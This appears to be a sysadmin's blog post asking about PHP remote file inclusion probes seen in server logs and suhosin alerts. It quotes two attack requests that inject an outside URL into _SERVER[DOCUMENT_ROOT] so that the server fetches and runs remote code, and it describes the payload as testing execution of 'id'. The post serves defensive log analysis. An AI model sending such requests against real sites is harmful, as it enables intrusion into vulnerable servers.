From my security monitoring:

suhosin[25775]: ALERT - tried to register forbidden variable '_SERVER[DOCUMENT_ROOT]' through GET variables (attacker '67.19.104.82', file '[...]')

The web logs contained:

GET //?_SERVER[DOCUMENT_ROOT]=http://sekip.axspace.com/alat/r0x.txt?? HTTP/1.1

Is this some new PHP attack vector (that happens to be blocked by the suhosin security module)? I thought it was related to ConPresso, but I’ve also found similar accesses in my logs that were on sites that don’t use PHP (and thus did not trigger a suhosin alert). Obviously these don’t relate to ConPresso, so it seems more like a brute force / mass attack?

Another host involved:

80.93.54.47 ... GET /index.php?_SERVER[DOCUMENT_ROOT]=http://www.topyn.com/ips.txt? HTTP/1.1

That referenced URL still works, so if you want you can retrieve the ‘exploit’ code. But all it apparently does is to try various methods to execute “id”, probably to locate web servers that are vulnerable and maybe even running as “root” user.

Obviously this is a brute force; that site doesn’t have an index.php.

Is that anything new? Or is it just some script kiddie trying to re-use an aged exploit? But on the other hand, I havn’t seen such a suhosin alert in months. Anybody knows which PHP script might be vulnerable to this attack vector.

If you’ve got any details, contact me at erich@debian.org; my blog intentionally does not have comments or trackbacks.

[Update: I’ve received two mails pointing out that such vulnerablities are found in some PHP apps every now and then, so it might just be some script kiddie scanning brute force once more. Supposedly this cannot be exploited when register_globals is off and/or suhosin is used.]